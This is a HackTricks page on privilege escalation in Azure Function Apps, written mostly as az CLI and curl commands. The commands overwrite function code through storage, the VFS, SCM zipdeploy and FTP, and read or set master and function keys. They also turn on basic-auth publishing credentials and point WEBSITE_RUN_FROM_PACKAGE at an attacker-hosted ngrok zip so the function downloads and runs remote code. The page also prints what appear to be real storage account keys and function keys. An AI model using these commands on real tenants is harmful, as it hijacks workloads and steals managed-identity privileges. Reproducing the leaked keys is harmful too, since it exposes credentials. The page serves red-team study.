Az - Functions App Privesc
Reading time: 16 minutes
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Function Apps
Check the following page for more information:
Bucket Read/Write
With permissions to read the containers inside the Storage Account that stores the function data it's possible to find different containers (custom or with pre-defined names) that might contain the code executed by the function.
Once you find where the code of the function is located if you have write permissions over it you can make the function execute any code and escalate privileges to the managed identities attached to the function.
File Share
(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING
andWEBSITE_CONTENTSHARE)
The code of the function is usually stored inside a file share. With enough access it's possible to modify the code file and make the function load arbitrary code allowing to escalate privileges to the managed identities attached to the Function.
This deployment method usually configures the settings WEBSITE_CONTENTAZUREFILECONNECTIONSTRING
and WEBSITE_CONTENTSHARE
which you can get from
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
Those configs will contain the Storage Account Key that the Function can use to access the code.
caution
With enough permission to connect to the File Share and modify the script running it's possible to execute arbitrary code in the Function and escalate privileges.
The following example uses macOS to connect to the file share, but it's recommended to check also the following page for more info about file shares:
# Username is the name of the storage account
# Password is the Storage Account Key
# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py
open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
function-releases
(WEBSITE_RUN_FROM_PACKAGE
)
It's also common to find the zip releases inside the folder function-releases
of the Storage Account container that the function app is using in a container usually called function-releases
.
Usually this deployment method will set the WEBSITE_RUN_FROM_PACKAGE
config in:
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
This config will usually contain a SAS URL to download the code from the Storage Account.
caution
With enough permission to connect to the blob container that contains the code in zip it's possible to execute arbitrary code in the Function and escalate privileges.
github-actions-deploy
(WEBSITE_RUN_FROM_PACKAGE)
Just like in the previous case, if the deployment is done via Github Actions it's possible to find the folder github-actions-deploy
in the Storage Account containing a zip of the code and a SAS URL to the zip in the setting WEBSITE_RUN_FROM_PACKAGE
.
scm-releases
(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING
andWEBSITE_CONTENTSHARE
)
With permissions to read the containers inside the Storage Account that stores the function data it's possible to find the container scm-releases
. In there it's possible to find the latest release in Squashfs filesystem file format and therefore it's possible to read the code of the function:
# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table
# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table
# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip
## Even if it looks like the file is a .zip, it's a Squashfs filesystem
# Install
brew install squashfs
# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
It's also possible to find the master and functions keys stored in the storage account in the container azure-webjobs-secrets
inside the folder <app-name>
in the JSON files you can find inside.
caution
With enough permission to connect to the blob container that contains the code in a zip extension file (which actually is a squashfs
) it's possible to execute arbitrary code in the Function and escalate privileges.
# Modify code inside the script in /tmp/fs adding your code
# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip -b 131072 -noappend
# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite
Microsoft.Web/sites/host/listkeys/action
This permission allows to list the function, master and system keys, but not the host one, of the specified function with:
az functionapp keys list --resource-group <res_group> --name <func-name>
With the master key it's also possible to to get the source code in a URL like:
# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
# Access
curl "<script-href>?code=<master-key>"
## Python example:
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
And to change the code that is being executed in the function with:
# Set the code to set in the function in /tmp/function_app.py
## The following continues using the python example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
Microsoft.Web/sites/functions/listKeys/action
This permission allows to get the host key, of the specified function with:
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
Microsoft.Web/sites/host/functionKeys/write
This permission allows to create/update a function key of the specified function with:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Microsoft.Web/sites/host/masterKey/write
This permission allows to create/update a master key to the specified function with:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
caution
Remember that with this key you can also access the source code and modify it as explained before!
Microsoft.Web/sites/host/systemKeys/write
This permission allows to create/update a system function key to the specified function with:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Microsoft.Web/sites/config/list/action
This permission allows to get the settings of a function. Inside these configurations it might be possible to find the default values AzureWebJobsStorage
or WEBSITE_CONTENTAZUREFILECONNECTIONSTRING
which contains an account key to access the blob storage of the function with FULL permissions.
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
Moreover, this permission also allows to get the SCM username and password (if enabled) with:
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write
These permissions allows to list the config values of a function as we have seen before plus modify these values. This is useful because these settings indicate where the code to execute inside the function is located.
It's therefore possible to set the value of the setting WEBSITE_RUN_FROM_PACKAGE
pointing to an URL zip file containing the new code to execute inside a web application:
- Start by getting the current config
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
- Create the code you want the function to run and host it publicly
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
- Modify the function, keep the previous parameters and add at the end the config
WEBSITE_RUN_FROM_PACKAGE
pointing to the URL with the zip containing the code.
The following is an example of my own settings you will need to change the values for yours, note at the end the values "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"
, this is where I was hosting the app.
# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
Microsoft.Web/sites/hostruntime/vfs/write
With this permission it's possible to modify the code of an application through the web console (or through the following API endpoint):
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)
This permissions allows to list all the publishing profiles which basically contains basic auth credentials:
# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json
Another option would be to set you own creds and use them using:
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
- If REDACTED credentials
If you see that those credentials are REDACTED, it's because you need to enable the SCM basic authentication option and for that you need the second permission (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
- Method SCM
Then, you can access with these basic auth credentials to the SCM URL of your function app and get the values of the env variables:
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v
# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
Note that the SCM username is usually the char "$" followed by the name of the app, so: $<app-name>
.
You can also access the web page from https://<app-name>.scm.azurewebsites.net/BasicAuth
The settings values contains the AccountKey of the storage account storing the data of the function app, allowing to control that storage account.
- Method FTP
Connect to the FTP server using:
# macOS install lftp
brew install lftp
# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/
# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
Note that the FTP username is usually in the format <app-name>\$<app-name>.
Microsoft.Web/sites/hostruntime/vfs/read
This permission allows to read the source code of the app through the VFS:
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
Microsoft.Web/sites/functions/token/action
With this permission it's possible to get the admin token which can be later used to retrieve the master key and therefore access and modify the function's code.
However, in my lasts checks no token was returned, so it might be disabled or not working anymore, but here is how you would do it:
# Get admin token
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"
# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"
Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)
This permissions allows to enable functions that might be disabled (or disable them).
# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
It's also possible to see if a function is enabled or disabled in the following URL (using the permission in parenthesis):
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)
With these permissions it's possible to modify the container run by a function app configured to run a container. This would allow an attacker to upload a malicious azure function container app to docker hub (for example) and make the function execute it.
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)
With these permissions it's possible to attach a new user managed identity to a function. If the function was compromised this would allow to escalate privileges to any user managed identity.
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
Remote Debugging
It's also possible to connect to debug a running Azure function as explained in the docs. However, by default Azure will turn this option to off in 2 days in case the developer forgets to avoid leaving vulnerable configurations.
It's possible to check if a Function has debugging enabled with:
az functionapp show --name <app-name> --resource-group <res-group>
Having the permission Microsoft.Web/sites/config/write
it's also possible to put a function in debugging mode (the following command also requires the permissions Microsoft.Web/sites/config/list/action
, Microsoft.Web/sites/config/Read
and Microsoft.Web/sites/Read
).
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
Change Github repo
I tried changing the Github repo from where the deploying is occurring by executing the following commands but even if it did change, the new code was not loaded (probably because it's expecting the Github Action to update the code).
Moreover, the managed identity federated credential wasn't updated allowing the new repository, so it looks like this isn't very useful.
# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1
# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.